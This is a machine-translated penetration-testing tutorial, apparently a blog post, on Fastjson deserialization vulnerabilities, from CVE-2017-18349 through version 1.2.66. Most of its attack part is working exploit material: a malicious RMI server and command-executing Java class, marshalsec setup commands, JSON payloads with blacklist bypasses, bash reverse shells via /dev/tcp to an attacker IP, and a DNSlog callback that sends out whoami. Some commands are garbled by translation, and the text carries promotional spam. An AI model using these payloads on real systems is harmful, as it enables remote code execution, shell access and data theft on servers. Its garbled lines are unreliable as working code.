A simple introduction
1. FastJson profile
The fastjson.jar package was originally downloaded at github.com/alibaba/fas…
Fastjson is used to serialize Java beans to JSON strings or to deserialize from JSON strings to Javabeans. Fastjson. jar is a package developed by Ali specially for Java development, which can easily realize the conversion between JSON objects and JavaBean objects, JavaBean objects and JSON strings, and REALIZE the conversion between JSON objects and JSON strings. In addition to this Fastjson, there is also a Gson package developed by Google, other forms such as net.sf.json package, can implement JSON conversion. The method name is different, but the end result is the same.
JSONObject obj = new JSONObject().fromobject (jsonStr); JSONObject obj= json.parseObject (jsonStr); // Convert json strings to JSON objectsCopy the code
1.1 the JNDI
JNDI is Java Naming and Directory Interface, one of the most important specifications in the J2EE specification. JNDI provides a unified client API that provides developers with a common, unified interface to find and access naming and directory services that can be used to locate resources such as users, networks, machines, objects, and services. For example, YOU can use JNDI to locate a printer on a LAN, or you can use JNDI to locate a database service or a remote Java object. The JNDI underlayer supports RMI remote objects, and RMI registered services can be accessed and invoked through the JNDI interface.
JNDi is an application design Api that dynamically loads data by name. It supports the following services:
DNS, LDAP, CORBA Object Service, RMICopy the code
2021 Latest collation network security penetration test security learning materials (little white video network security books 100 books essential kit SRC document CTF access)
1.2 Use JNDI References for injection
For this, we need to understand the role of RMI.
First, RMI (Remote Method Invocation) is a Remote Method Invocation mechanism designed for Java environment. The Remote server implements the Java Method and provides the interface. The local client only needs to provide the corresponding parameters according to the definition of the interface class to invoke the Remote Method. RMI relies on the Java Remote Message Protocol (JRMP), which is customized for Java and requires both the server and client to be written in Java. This protocol, like the HTTP protocol, specifies the specifications to be met for client-server communication. Objects are encoded and transmitted in RMI through serialization. RMI server can bind the object of a remote call directly, but also by the References to bind an external remote object, when the RMI binding after the References, first will use Referenceable. GetReference () to obtain the binding object reference, When the client uses lookup to obtain the corresponding name, it returns the ReferenceWrapper proxy file, calls getReference() to obtain the Reference class, and converts the Reference to a specific object instance using the Factory class.
The service side
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIServer { public static void main(String args[]) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); / / the Reference to the incoming three parameters (className, factory, factoryLocation) / / the first parameter at random to fill, the second parameter fill out our HTTP service under the name of the class, RefObj = new Reference("Evil", "EvilObject", "http://127.0.0.1:8000/"); RefObjWrapper = new ReferenceWrapper(refObj); registry.bind("refObj", refObjWrapper); }}Copy the code
As you can see from the ReferenceWrapper source, this class inherits from UnicastRemoteObject and wraps Reference so it can be accessed remotely via RMI
The client
import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; public class JNDIClient { public static void main(String[] args) throws Exception{ try { Context ctx = new InitialContext(); ctx.lookup("rmi://localhost:8000/refObj"); } catch (NamingException e) { e.printStackTrace(); }}}Copy the code
If we can control the URLS passed in by the JNDI client, we can raise a malicious RMI and let JNDI load our malicious classes for command execution.
The References class has two attributes, className and codebase URL. ClassName is the name of the remote reference class. Codebase determines the location of our remote class. When no corresponding class is found in the local classpath, we request the codebase class (codebase supports HTTP). If we change the codebase class to our malicious class, we can let the client execute.
Ps: After Java version 1.8u191, there is a restriction on TrustCodeBase EURl, which can only trust the existing codebase address, and can no longer download bytecode from the specified codebase.
The whole utilization process is as follows
1. Start the HTTP server first and put our malicious classes in the directory 2. Enabling the malicious RMI server 3. The attacker controls the URL parameter to be the address of the malicious RMI server enabled in the previous step 4. The malicious RMI server returns ReferenceWrapper class 5. The target (JNDI_Client) changes the ReferenceWrapper to the Reference class in the decodeObject when performing the lookup operation, and then remotely loads and instantiates our Factory class (i.e. the malicious class on our HTTP server). Trigger malicious code in a static snippet on instantiationCopy the code
2.FastJson penetration summary
1. Deserialization is commonly used in two ways, one based on RMI and the other based on LDAP. 2.RMI is a behavior that refers to Java remote method calls. 3.JNDI is an interface under which various directory system services are implemented to find relevant objects by name and download them to the client. 4. Ldap refers to lightweight directory service protocol.Copy the code
Java version restrictions exist:
JDK version: JDK 6U132, JDK 7U131, JDK 8U121 before; In JDK8U122, a deserialization whitelist mechanism was added to turn off rmI remote loading code. Ldap is applicable to JDK versions earlier than JDK 11.0.1, 8U191, 7U201, or 6U211. In the Java 8U191 update, Oracle placed the same restriction on LDAP vectors and released CVE-2018-3149, turning off JNDI remote class loading. The application scope of LDAP is larger than that of RMI. In actual situations, LDAP is recommended.Copy the code
2.1 FastJSON 1.2.24 Deserialization Cause Arbitrary Command Execution Vulnerability (CVE-2017-18349)
Vulnerability principle
FastJson allows you to instantiate a specific class using autoType and call the set/ GET methods of that class to access properties during JSON parsing. By looking for relevant methods in your code, you can construct chains of malicious exploitation.
When fastJSON autoType is used to process JSON objects, the @Type field is not fully verified for security. An attacker can pass in a dangerous class and call the dangerous class to connect to the remote RMI host and execute the code through the malicious class. In this way, attackers can realize the use of remote code execution vulnerability, obtain sensitive information leakage of the server, and even use this vulnerability to further modify, add, delete and other operations on the server data, causing a huge impact on the server.
Affects version
Fastjson < 1.2.25
Copy the code
Bugs start
Target plane: Ubuntu IP: 192.168.9.234 Attack plane: Kali IP: 192.168.10.65
Enable fastjson vulnerability
docker-compose up -d
docker ps
Copy the code
Accessing the target machine, you can see the output in JSON format:
Because no com is a Java 8 u102. Sun. Jndi.. Rmi object. TrustURLCodebase limit, we can use com. Sun. Rowset. JdbcRowSetImpl use chains, with the help of jndi injection to execute the command.
Run the following command on kali to simulate a POST request in JSON format using the curl command and return the result in JSON format. 404 is not reported.
Curl http://192.168.9.234:8090/ - H "content-type: application/json" -- data '{" name ":" ZCC ", "age" : 18}'Copy the code
Kali installs the Javac environment, which I have installed here
cd /opt curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz tar zxvf JDK -8u20-linux-x64.tar.gz rm -rf /usr/bin/java* ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin javac -version Java -versionCopy the code
Compile malicious class code
import java.lang.Runtime;
import java.lang.Process;
public class zcc{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/zcctest"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
Copy the code
javac zcc.java
Copy the code
Set up HTTP service to transmit malicious files
python -m SimpleHTTPServer 80
Copy the code
Compile and start RMI service:
1 Download marshalSec (I have it installed here) :
git clone https://github.com/mbechler/marshalsec.git
Copy the code
2 install Maven:
apt-get install maven
Copy the code
3. Use Maven to compile the marshalsec jar from the marshalsec file.
mvn clean package -DskipTests
Copy the code
4 then we use marshalsec project, start a RMI server, listen to port 9999, here IP is your HTTP service IP, here is kali’S IP:
Java - cp marshalsec - 0.0.3 - the SNAPSHOT - all. Jar marshalsec. Jndi. RMIRefServer "http://192.168.10.65/#zcc", 9999Copy the code
If you want to start the LDAP service, just change the RMI in the above command to LDAP, for example:
Java - cp marshalsec - 0.0.3 - the SNAPSHOT - all. Jar marshalsec. Jndi. LDAPRefServer "http://192.168.10.65/#zcc", 9999Copy the code
You can see that the request succeeded and that the malicious class is loaded.
5 use BP to capture packets and write to poC (remember to change the request mode to POST and the content-type to application/json) :
{" b ": {" @ type" : "com. Sun. Rowset. JdbcRowSetImpl", "dataSourceName" : "the rmi: / / 192.168.10.65:9999 / ZCC", "the autoCommit mode" : true}}Copy the code
You can see that the write succeeded.
Here we do a little test with dNSlog:
http://www.dnslog.cn/
Copy the code
Directly overwrite the original file;
"/bin/sh","-c","ping user.'whoami'.jeejay.dnslog.cn"
Copy the code
After you click Send, a message is displayed
To bounce the shell, you only need to modify the contents of commands in the malicious class. The code is as follows. It is suggested to use the second one.
"/ bin/bash", "- c", "the exec 5 < > / dev/TCP / 192.168.10.65/8899; cat <&5 | while read line; do $line 2>&5 >&5; Done "or"/bin/bash ", "-", "c bash - > I & / dev/TCP / 192.168.10.65/1234 0 > & 1"Copy the code
2.2 Fastjson 1.2.47 Remote Command Execution Vulnerability
Vulnerability principle
Fastjson is an open source JSON parser developed by Alibaba. It has excellent performance and is widely used in Java projects of various manufacturers. Fastjson has added a deserialized whitelist since version 1.2.24, while prior to version 1.2.48, attackers could successfully execute arbitrary commands using specially constructed JSON strings to bypass whitelist detection.
Affects version
Fastjson < 1.2.47
Copy the code
Bugs start
Because the target environment is its: 8 u102, this version has no com. Sun. Jndi.. Rmi object. TrustURLCodebase limit, we can use the rmi command execution.
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class zcc {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/zcctest111"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
Copy the code
Enabling the HTTP Service
python -m SimpleHTTPServer 8080
Copy the code
Start RMI server with marshalSec project, listen on port 9998, and specify to load remote class Zcc.class:
Java - cp marshalsec - 0.0.3 - the SNAPSHOT - all. Jar marshalsec. Jndi. RMIRefServer "http://192.168.10.65/#zcc", 9999Copy the code
The payload is the same as the payload in 1.2.24. The payload is the same as the payload in 1.2.24.
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "B" : {" @ type ":" com. Sun. Rowset. JdbcRowSetImpl ", "dataSourceName" : "the rmi: / / 192.168.10.65:9999 / ZCC", "the autoCommit mode" : true}}Copy the code
Rebound in the shell;
"/ bin/bash - c", ""," bash - > I & / dev/TCP / 192.168.10.65/8899 0 > & 1"Copy the code
2.3 Fastjson <=1.2.41 Vulnerability details
After the first Fastjson deserialization vulnerability was discovered, Ali set the autoTypeSupport property to false by default in version 1.2.25, and added the checkAutoType() function to protect against Fastjson deserialization vulnerability. Therefore, the Fastjson deserialization vulnerability discovered later is aimed at blacklist bypass to realize the purpose of attack utilization. Com. Sun. Rowset. JdbcRowSetlmpl in 1.2.25 version is added to the blacklist, fastjson a judgment conditions to determine whether a class names begin with “L” and “;” End, if yes, extract the name of the class and load it in, so add L to the head and L to the tail of the original class name; Can bypass the blacklist while loading the class.
Exp:
{ "@type":"Lcom.sun.rowset.JdbcRowSetImpl;" , "dataSourceName":"rmi://x.x.x.x:9999/rce_1_2_24_exploit", "autoCommit":true }Copy the code
The autoTypeSupport property is true. (fastjson>=1.2.25 defaults to false)
2.4 Fastjson <=1.2.42 Vulnerability details
Fastjson added a validation mechanism in 1.2.42. If the input class name begins and ends with L and; Remove the head and tail and then check the blacklist. Bypass method: nested two layers L and outside the class name; .
The original name of the class: com. Sun. Rowset. JdbcRowSetImpl bypass: LLcom. Sun. Rowset. JdbcRowSetImpl;;Copy the code
Exp:
{ "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;" , "dataSourceName":"rmi://x.x.x.x:9999/exp", "autoCommit":true }Copy the code
The autoTypeSupport property is true. (fastjson>=1.2.25 defaults to false)
2.5 Fastjson <=1.2.45 Vulnerability details
The jar package of Mybatis exists on the target server, and the version must be 3.X. x <3.5.0.
Use the blacklist bypass, org. Apache. Ibatis. The datasource in 1.2.46 version is added to the blacklist.
The autoTypeSupport property is true. (fastjson>=1.2.25 defaults to false)
Exp:
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Ex ploit"}}Copy the code
2.6 Fastjson <=1.2.47 Vulnerability details
If the version is earlier than 1.2.48, the autoType is disabled. LoadClass the default cache to true, the use of step 2, the first to use Java. Lang. Class to get into the Class cache to the mapping, and then directly from the cache access to com. Sun. Rowset. JdbcRowSetlmpl this Class, bypassing the blacklist mechanism.
Exp:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://x.x.x.x:9999/exp",
"autoCommit": true
}
}
Copy the code
2.7 Fastjson <=1.2.62 Vulnerability details
Bypass exp based on blacklist:
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://x.x.x.x:9999/exploit"}";
Copy the code
2.8 Fastjson <=1.2.66 Vulnerability details
[2021 Update on Network Security, Penetration Testing, Security Learning data Acquisition]
AutoTypeSupport: true (fastjson>=1.2.25 defaults to false)
{@ "type" : ". Org. Apache shiro. Jndi. JndiObjectFactory ", "resourceName" : "ldap: / / 192.168.80.1:1389 / Calc"} {@ "type" : "br.com.anteros.dbcp.AnterosDBCPConfig", "metricRegistry" : "ldap: / / 192.168.80.1:1389 / Calc"} {@ "type" : "org. Apache. Ignite. Cache. The jta. Jndi. CacheJndiTmLookup", "jndiNames" : "ldap: / / 192.168.80.1:1389 / Calc"} {"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {@ "type" : "Java. Util. Properties", "UserTransacti on" : "ldap: / / 192.168.80.1:1389 / Calc"}}Copy the code